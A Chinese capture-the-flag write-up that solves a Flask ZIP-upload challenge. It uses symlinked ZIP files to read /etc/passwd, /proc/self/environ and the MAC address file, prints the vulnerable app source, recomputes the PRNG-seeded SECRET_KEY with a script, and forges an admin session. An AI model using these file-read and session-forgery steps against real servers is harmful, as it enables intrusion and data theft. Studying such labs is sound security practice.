?帐号登录后是一个上传ZIP文件
上传一个.ZIP文件后发现他会显示文件的内容
?可能是有文件读取,我们创建一个软链接(类似windows的快捷方式)指向一个服务器上的文件,尝试是否可以读取
aliang@aliang:~/Desktop# ln -s /etc/passwd passwd
aliang@aliang:~/Desktop# zip -y passwd.zip passwd
adding: passwd (stored 0%)
?上传后发现可以成功读取到/etc/passwd的内容
?尝试使用admin登录,给出提示
因为这里并没有注册的步骤,所以猜测这里使用的是cookie或session来进行检测是否为admin 查看一下页面cookie信息,发现一个很想flask的session,使用jwt解密
这样方向就非常明显了,我们只需要找到加密所需的密钥,来伪造session即可 接着来尝试读取文件
/proc是一种伪文件系统(也即虚拟文件系统),存储的是当前内核运行状态的一系列特殊文件,
用户可以通过这些文件查看有关系统硬件及当前正在运行进程的信息,甚至可以通过更改其中某些文件来改变内核的运行状态。
environ是 — 当前进程的环境变量列表,self可以替换成进程号。
读取/proc/self/environ
生成一个指向/proc/self/environ的软链接
ln -s /proc/self/environ env
压缩这个软链接生成zip压缩文件
zip -y env.zip env
上传文件读取到
HOSTNAME=98cce75cd9cb
SHLVL=1
PYTHON_PIP_VERSION=19.1.1
HOME=/root
GPG_KEY=0D96DF4D4110E5C43FBFB17F2D347EA6AA65421D
UWSGI_INI=/app/uwsgi.ini
WERKZEUG_SERVER_FD=3
NGINX_MAX_UPLOAD=0UWSGI_PROCESSES=16
STATIC_URL=/static_=/usr/local/bin/python
UWSGI_CHEAPER=2
WERKZEUG_RUN_MAIN=true
NGINX_VERSION=1.15.8-1~
stretchPATH=/usr/local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
NJS_VERSION=1.15.8.0.2.7-1~
stretchLANG=C.UTF-8
PYTHON_VERSION=3.6.8
NGINX_WORKER_PROCESSES=1
LISTEN_PORT=80
STATIC_INDEX=0
PWD=/app
PYTHONPATH=/app
STATIC_PATH=/app/static
LAG=not_flag
uWSGI是一个Web应用服务器,它具有应用服务器,代理,进程管理及应用监控等功能。它支持WSGI协议,同时它也支持自有的uWSGI协议
接着读取文件/app/uwsgi.ini(还是上述方法,就不再赘述)
[uwsgi]
module = main
callable=app
logto = /tmp/hard_t0_guess_n9p2i5a6d1s_uwsgi.log
这里按道理来说应该是访问/app/main.py可以读取源码,这里可能是buu配置原因没有读出,借用源码
# -*- coding: utf-8 -*-
from flask import Flask,session,render_template,redirect, url_for, escape, request,Response
import uuid
import base64
import random
import flag
from werkzeug.utils import secure_filename
import os
random.seed(uuid.getnode())
app = Flask(__name__)
app.config['SECRET_KEY'] = str(random.random()*100)
app.config['UPLOAD_FOLDER'] = './uploads'
app.config['MAX_CONTENT_LENGTH'] = 100 * 1024
ALLOWED_EXTENSIONS = set(['zip'])
def allowed_file(filename):
return '.' in filename and \
filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS
@app.route('/', methods=['GET'])
def index():
error = request.args.get('error', '')
if(error == '1'):
session.pop('username', None)
return render_template('index.html', forbidden=1)
if 'username' in session:
return render_template('index.html', user=session['username'], flag=flag.flag)
else:
return render_template('index.html')
@app.route('/login', methods=['POST'])
def login():
username=request.form['username']
password=request.form['password']
if request.method == 'POST' and username != '' and password != '':
if(username == 'admin'):
return redirect(url_for('index',error=1))
session['username'] = username
return redirect(url_for('index'))
@app.route('/logout', methods=['GET'])
def logout():
session.pop('username', None)
return redirect(url_for('index'))
@app.route('/upload', methods=['POST'])
def upload_file():
if 'the_file' not in request.files:
return redirect(url_for('index'))
file = request.files['the_file']
if file.filename == '':
return redirect(url_for('index'))
if file and allowed_file(file.filename):
filename = secure_filename(file.filename)
file_save_path = os.path.join(app.config['UPLOAD_FOLDER'], filename)
if(os.path.exists(file_save_path)):
return 'This file already exists'
file.save(file_save_path)
else:
return 'This file is not a zipfile'
try:
extract_path = file_save_path + '_'
os.system('unzip -n ' + file_save_path + ' -d '+ extract_path)
read_obj = os.popen('cat ' + extract_path + '/*')
file = read_obj.read()
read_obj.close()
os.system('rm -rf ' + extract_path)
except Exception as e:
file = None
os.remove(file_save_path)
if(file != None):
if(file.find(base64.b64decode('aGN0Zg==').decode('utf-8')) != -1):
return redirect(url_for('index', error=1))
return Response(file)
if __name__ == '__main__':
#app.run(debug=True)
app.run(host='0.0.0.0', debug=True, port=10008)
代码第29行,可以知道flag是藏在/app/flag.py文件里,想着是不是可以生成下软链接直接读取呢,后面测试,发现还是提示you are not admin 然后重定向到index页面,原来是第79行处,执行了一个判断,如果通过上传的zip打开的文件里面有含有hctf的话,就会重定向到index?error=1页面,所以这条路是行不通的,对应了前面分析。 所以只能通过找SECRET_KEY这个方法了,我们看到第11行 app.config['SECRET_KEY'] = str(random.random()*100),SECRET_KEY居然等于一个随机数字字符串 难道每次SECRET_KEY能不一样,后面发现,原来在这行代码之前第9行处,有一个random.seed(uuid.getnode()),设置随机数种子操作。我们知道,python random生成的数不是真正的随机数,而是伪随机数,利用伪随机数的特性,只要种子是一样的,后面产生的随机数值也是一致的 于是把注意力放到这里的伪随机数种子,uuid.getnode(),通过查询可以知道,这个函数可以获取网卡mac地址并转换成十进制数返回。也就是说,只要搞到服务器的网卡mac地址,就能确定种子,进而确定SECRET_KEY,那服务器网卡mac地址又怎么获得呢? linux中一切皆文件,网卡mac地址也能在文件中找到。可以通过读/sys/class/net/eth0/address文件得到mac地址,于是构造软链接、生成zip、上传看返回结果,如下图,得到服务器mac地址为:02:42:ac:10:b4:41。然后就是把mac地址处理下,转换成10进制,然后设置成seed,生成一下SECRET_KEY。脚本如下
import uuid
import random
mac = "02:42:ac:10:b4:41"
temp = mac.split(':')
temp = [int(i,16) for i in temp]
temp = [bin(i).replace('0b','').zfill(8) for i in temp]
temp = ''.join(temp)
mac = int(temp,2)
random.seed(mac)
randStr = str(random.random()*100)
print(randStr) #结果为 20.406955917442282
?使用flask-session-cookie-manager脚本进行加密
修改完session后再次刷新即可登录到admin用户得到flag
|